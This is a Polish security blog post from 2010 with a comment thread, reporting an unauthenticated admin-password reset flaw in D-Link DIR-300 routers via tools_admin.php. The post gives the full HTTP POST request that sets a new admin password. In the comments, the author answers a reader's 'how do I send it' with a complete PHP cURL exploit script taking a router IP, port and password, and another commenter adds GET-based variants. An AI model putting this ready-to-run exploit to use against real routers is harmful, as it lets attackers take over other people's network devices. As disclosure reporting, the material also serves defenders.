09 listopada 2010
Jak przejąć kontrolę nad popularnymi routerami firmy D-Link?
wtorek, listopada 09, 2010 | Autor:
\m/ojtek

D-Link DIR-300 to bardzo popularny router bezprzewodowy, chętnie nabywany przede wszystkim ze względu na przystępną cenę oraz spore możliwości. Niestety, użytkownicy tego urządzenia są obecnie narażeni na utratę kontroli nad własnym routerem, bowiem bardzo prosty atak pozwala na zdobycie całkowitej kontroli nad DIR-300.
Problem tkwi w module tools_admin.php, który pozwala potencjalnemu intruzowi na dowolną zmianę kont oraz haseł administracyjnych i to bez jakiejkolwiek autoryzacji! Przykładowo wysłanie następującego żądania HTTP POST (przy założeniu, że adres IP routera to 192.168.1.1):
POST http://192.168.1.1:80/tools_admin.php HTTP/1.1
Host: 192.168.1.2
Keep-Alive: 115
Content-Type: application/x-www-form-urlencoded
Content-length: 0
ACTION_POST=LOGIN&LOGIN_USER=a&LOGIN_PASSWD=b&login=+Log+In+&NO_NEED_AUTH=1&AUTH_GROUP=0&admin_name=admin&admin_password1=uhOHahEh
pozwala na ustawienie konta administracyjnego admin, zabezpieczonego hasłem uhOHahEh. Takie poświadczenia pozwalają oczywiście następnie na przejęcie całkowitej kontroli nad urządzeniem i wykonanie dowolnych działań administracyjnych w tradycyjny sposób.
Na powyższy rodzaj ataku mogą być narażone również inne modele korzystające z modułu tools_admin.php. Zachęcam więc do przetestowania własnych urządzeń D-Link i podzielenia się z nami wynikami poszczególnych doświadczeń. Warto podkreślić, że odkrywca tej luki (Karol Celiński), kontaktował się już w tej sprawie z firmą D-Link, jednak jak do tej pory nie otrzymał żadnej odpowiedzi...
[źródło]
[źródło]
Komentarze (21)

Sortuj po: Data Ocena Ostatnia Aktywność
Wczytywanie komentarzy...
Wyślij nowy komentarz
Comments by IntenseDebate
Odpowiedz jako Gość, lub zaloguj się:
WróćPołączony jako (Wyloguj się)
Nie wyświetla się publicznie.
Publikowanie anonimowe.
Jak przejąć kontrolę nad popularnymi routerami firmy D-Link?
2010-11-09T19:28:00+01:00
\m/ojtek
Bezpieczeństwo sieci komputerowych|Newsy|Obrona - Atak|Sieci komputerowe|
Subskrybuj:
Komentarze do posta (Atom)
Wyszukaj w HCSL:
Subskrybuj:
Najpopularniejsze artykuły wszech czasów:
- Urządzenia do kopiowania kart płatniczych
- Co tak naprawdę ujawniasz w Internecie?
- Dlaczego należy zasłaniać klawiaturę bankomatu?
- Publiczna wiadomość z ukrytym przekazem
- Przyszłość antywirusów jest jasna
- Sposób na obejście internetowych blokad
- Superbezpieczne hasła na... żółtej karteczce
- Funkcje sprzętowego kasowania danych w HDD!
- 12-latek odkrył krytyczną lukę w Firefoksie
- Przestępstwo nie popłaca
- Czy jesteśmy inwigilowani przez chiński sprzęt?
- Gotowy zestaw do podsłuchiwania GSM
- Jak działa internetowa mafia?
- Uwaga na nowy rodzaj ataków phishingowych!
- Microsoftowy poradnik dla organów ścigania!
- Polski super-bezpieczny system Qubes OS
- Dane wieczyście dostępne
- Pierwszy atak samochodowych crackerów
- Pliki PDF zdolne do wykonania dowolnego kodu
- Polskie służby współpracują z firmą Google?
- Więzienie za odmowę ujawnienia hasła
- Podrzucanie dziecięcej pornografii
- Zapomniany film o hakerach
- Łamanie haseł w Windows Vista i 7
Jarek · 750 tygodni temu
\m/ojtek 84p · 750 tygodni temu
jarek · 750 tygodni temu
\m/ojtek 84p · 750 tygodni temu
Tester · 750 tygodni temu
Jak wysłać takie żądanie ?
\m/ojtek 84p · 750 tygodni temu
<?php
if(sizeof($argv)!=4) {
echo "Usage: php5 $argv[0] <router ip addres> <port>
<admin password>\n";
exit;
}
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, "http://".$argv[1]."/tools_admin.php";);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_PORT, $argv[2]);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,
"ACTION_POST=LOGIN&LOGIN_USER=a&LOGIN_PASSWD=b&login=+Log+In+&NO_NEED_AUTH=1&AUTH_GROUP=0&admin_name=admin&admin_password1=".urlencode($argv[3]));
echo "+ starting request\n";
$out = curl_exec($ch);
if($out===false) {
echo "- Error: could not connect (
http://$argv[1]:$argv[2]/tools_admin.php).\n";
exit;
} else
echo "+ request sended\n";
curl_close($ch);
if(stripos($out,"Successfully")===false) {
echo "- something goes wrong (check answer - answer.html) !\n";
$f=fopen("answer.html","w"); fwrite($f,$out); fclose($f);
exit;
}
else
echo "+ ok, now you can login using l: admin p:$argv[3]\n";
?>
ppw 67p · 750 tygodni temu
To tak http://192.168.0.1/tools_admin.php?LOGIN&LOGI...
To też http://192.168.0.1/tools_admin.php?NO_NEED_AUTH=1
\m/ojtek 84p · 750 tygodni temu
ppw 67p · 750 tygodni temu
"odkrywca tej luki (Karol Celiński), kontaktował się już w tej sprawie z firmą D-Link, jednak jak do tej pory nie otrzymał żadnej odpowiedzi"
A to dziwne. Ja niecały rok temu zgłaszałem dużo mniej poważny błąd. Po ~2 tygodniach dostałem 'gratisa' - DIR-655 :).
\m/ojtek 84p · 750 tygodni temu
ppw 67p · 750 tygodni temu
\m/ojtek 84p · 750 tygodni temu
ppw 67p · 750 tygodni temu
Celin · 750 tygodni temu
Ps. ten PoC niekoniecznie jest udany. Tak czy owak powinien dzialac z dokladnoscia do komunikatu o sukcesie, ktory jest wykrywany po stalym stringu w odpowiedzi. Skrypt krzyczy, ze atak sie nie udal a stan faktyczny jest w prost przeciwny. Wolalem uzyc posta bo z analizy wynikalo, ze przy lekko zmienionej konfiguracji moze byc brany tylko POST pod uwage.
ppw 67p · 750 tygodni temu
Celin · 750 tygodni temu
Bartosz Wierzejewski · 750 tygodni temu
IP Allowed to Access, przynajmniej warto to ustawić do czasu jak Dlink coś wypuści albo ucieć na DD-wrt.
\m/ojtek 84p · 750 tygodni temu
Marcin · 749 tygodni temu
Najgorsze że na ten release routera nie ma alternatywnej opcji w postaci DD-WRT :((
mario · 742 tygodni temu
\m/ojtek 84p · 742 tygodni temu